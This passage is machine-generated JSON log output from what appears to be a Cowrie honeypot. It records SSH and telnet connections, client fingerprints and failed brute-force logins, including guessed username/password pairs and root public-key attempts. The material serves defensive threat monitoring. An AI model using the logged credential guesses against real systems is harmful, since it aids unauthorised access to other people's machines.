sh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:30.364892Z","src_ip":"45.156.87.204","session":"ad2b60c75f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:30.616695Z","src_ip":"45.156.87.204","session":"ad2b60c75f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d81c7d2443","protocol":"telnet","message":"New connection: 152.42.224.71:42390 (10.17.0.5:23) [session: 53d81c7d2443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:31.246974Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:31.850223Z","src_ip":"45.156.87.204","session":"ad2b60c75f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56966,"dst_ip":"159.203.135.109","dst_port":22,"session":"2223fb8e040a","protocol":"ssh","message":"New connection: 45.156.87.204:56966 (159.203.135.109:22) [session: 2223fb8e040a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:33.744532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:33.749213Z","src_ip":"45.156.87.204","session":"2223fb8e040a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":45912,"dst_ip":"159.203.135.109","dst_port":22,"session":"620e67aa28bb","protocol":"ssh","message":"New connection: 42.200.78.78:45912 (159.203.135.109:22) [session: 620e67aa28bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:33.827595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:33.833205Z","src_ip":"42.200.78.78","session":"620e67aa28bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:33.836733Z","src_ip":"45.156.87.204","session":"2223fb8e040a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:34.048944Z","src_ip":"42.200.78.78","session":"620e67aa28bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:34.465984Z","src_ip":"45.156.87.204","session":"2223fb8e040a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34408,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec8fea1449b","protocol":"ssh","message":"New connection: 47.237.167.49:34408 (159.203.135.109:22) [session: 4ec8fea1449b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:34.629402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:34.634627Z","src_ip":"47.237.167.49","session":"4ec8fea1449b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsk","password":"123","message":"login attempt [lsk/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:34.945101Z","src_ip":"42.200.78.78","session":"620e67aa28bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:35.551060Z","src_ip":"45.156.87.204","session":"2223fb8e040a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71d5a9dc1e7","protocol":"telnet","message":"New connection: 152.42.224.71:42402 (10.17.0.5:23) [session: f71d5a9dc1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:35.741700Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:36.164040Z","src_ip":"42.200.78.78","session":"620e67aa28bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56974,"dst_ip":"159.203.135.109","dst_port":22,"session":"01f418817fed","protocol":"ssh","message":"New connection: 45.156.87.204:56974 (159.203.135.109:22) [session: 01f418817fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:37.649435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:37.654845Z","src_ip":"45.156.87.204","session":"01f418817fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:37.741744Z","src_ip":"45.156.87.204","session":"01f418817fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:38.110483Z","src_ip":"45.156.87.204","session":"01f418817fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:39.195090Z","src_ip":"45.156.87.204","session":"01f418817fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":44321,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9170b3dc541","protocol":"ssh","message":"New connection: 181.188.172.6:44321 (159.203.135.109:22) [session: a9170b3dc541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:39.237100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:39.240954Z","src_ip":"181.188.172.6","session":"a9170b3dc541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:39.358810Z","src_ip":"181.188.172.6","session":"a9170b3dc541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"root","message":"login attempt [git/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:40.055699Z","src_ip":"181.188.172.6","session":"a9170b3dc541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.211494Z","src_ip":"181.188.172.6","session":"a9170b3dc541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5873cd45aafb","protocol":"ssh","message":"New connection: 45.156.87.204:56988 (159.203.135.109:22) [session: 5873cd45aafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.220081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.226908Z","src_ip":"45.156.87.204","session":"5873cd45aafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.308717Z","src_ip":"45.156.87.204","session":"5873cd45aafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.570400Z","src_ip":"45.156.87.204","session":"5873cd45aafb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec6230cb3dc","protocol":"telnet","message":"New connection: 152.42.224.71:39394 (10.17.0.5:23) [session: 4ec6230cb3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:41.639814Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:42.654641Z","src_ip":"45.156.87.204","session":"5873cd45aafb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.189.11","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"508caa17ea02","protocol":"ssh","message":"New connection: 5.45.189.11:60164 (10.17.0.5:22) [session: 508caa17ea02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:42.896129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:42.900491Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:43.052167Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:72:f0:7e:da:d5:0b:23:6b:15:cc:32:85:2d:7b:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVkRs2ldAdghSMMuCUvGo3pgoV5D5kijDI7GZ1SjcfWU+bVukj5WWHmAC1i//UJgDYVtcl2xok/eZTo0OlgTg557GufX6YHOTUjAkuZLLpnOrMKnLn+AojkXcQriTMIcfFHpYFVaapXYD06Br66FF0iJtZKQLlpXFIMNwu7gi5ReTBR3x2NZFm4vRj3KNZ2oONO4kTiU/0yxAysoIG0RkBrgQto3FmnON8/WOfu0L+Z1IW3TyP+QwXhjyMlR5t4z9QNhAJobzBgMWp8czdfBkwfBY8tYRRn2aqvohXseSwoK0UMDpq02oxBvi4W+uUywSonEEVdB52PzRDtXRemFUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:72:f0:7e:da:d5:0b:23:6b:15:cc:32:85:2d:7b:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:43.767958Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:72:f0:7e:da:d5:0b:23:6b:15:cc:32:85:2d:7b:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVkRs2ldAdghSMMuCUvGo3pgoV5D5kijDI7GZ1SjcfWU+bVukj5WWHmAC1i//UJgDYVtcl2xok/eZTo0OlgTg557GufX6YHOTUjAkuZLLpnOrMKnLn+AojkXcQriTMIcfFHpYFVaapXYD06Br66FF0iJtZKQLlpXFIMNwu7gi5ReTBR3x2NZFm4vRj3KNZ2oONO4kTiU/0yxAysoIG0RkBrgQto3FmnON8/WOfu0L+Z1IW3TyP+QwXhjyMlR5t4z9QNhAJobzBgMWp8czdfBkwfBY8tYRRn2aqvohXseSwoK0UMDpq02oxBvi4W+uUywSonEEVdB52PzRDtXRemFUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:43.772082Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:34:44:a9:82:95:11:41:f0:af:50:5f:59:d2:21:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeb5mJv70iE1BuWIQckO6zc1xC3x2pyeNC4Q+aDyeZQCBKc8jgVa6lb34rhYvDkQWZC2+QKFzCftUc7j52rDyQDTakpj9bbT9kDAXE/XQCQVTSI22y8f5ZcHsZVDkS28dHJGWvekK+py6Cinehc+3bE/7b6p2O9cT3KGy9iWK5xm5uisj1556Dim7jln35ZOo6sLpf/jlFqdey4/6ddD+NA6kPMWfbgZnO+hY2pTirfigGTk+2qpDuXLjsXyPw9VIso5xp2KnMXkCFR+2jd8bNQ+n6BylqRDWCyuHU8bUCkdPORNGfJ2257imUf2JmBnI9BjagByZwfp0GtgtnQsop","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:34:44:a9:82:95:11:41:f0:af:50:5f:59:d2:21:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:43.923855Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:34:44:a9:82:95:11:41:f0:af:50:5f:59:d2:21:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeb5mJv70iE1BuWIQckO6zc1xC3x2pyeNC4Q+aDyeZQCBKc8jgVa6lb34rhYvDkQWZC2+QKFzCftUc7j52rDyQDTakpj9bbT9kDAXE/XQCQVTSI22y8f5ZcHsZVDkS28dHJGWvekK+py6Cinehc+3bE/7b6p2O9cT3KGy9iWK5xm5uisj1556Dim7jln35ZOo6sLpf/jlFqdey4/6ddD+NA6kPMWfbgZnO+hY2pTirfigGTk+2qpDuXLjsXyPw9VIso5xp2KnMXkCFR+2jd8bNQ+n6BylqRDWCyuHU8bUCkdPORNGfJ2257imUf2JmBnI9BjagByZwfp0GtgtnQsop","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:43.927069Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
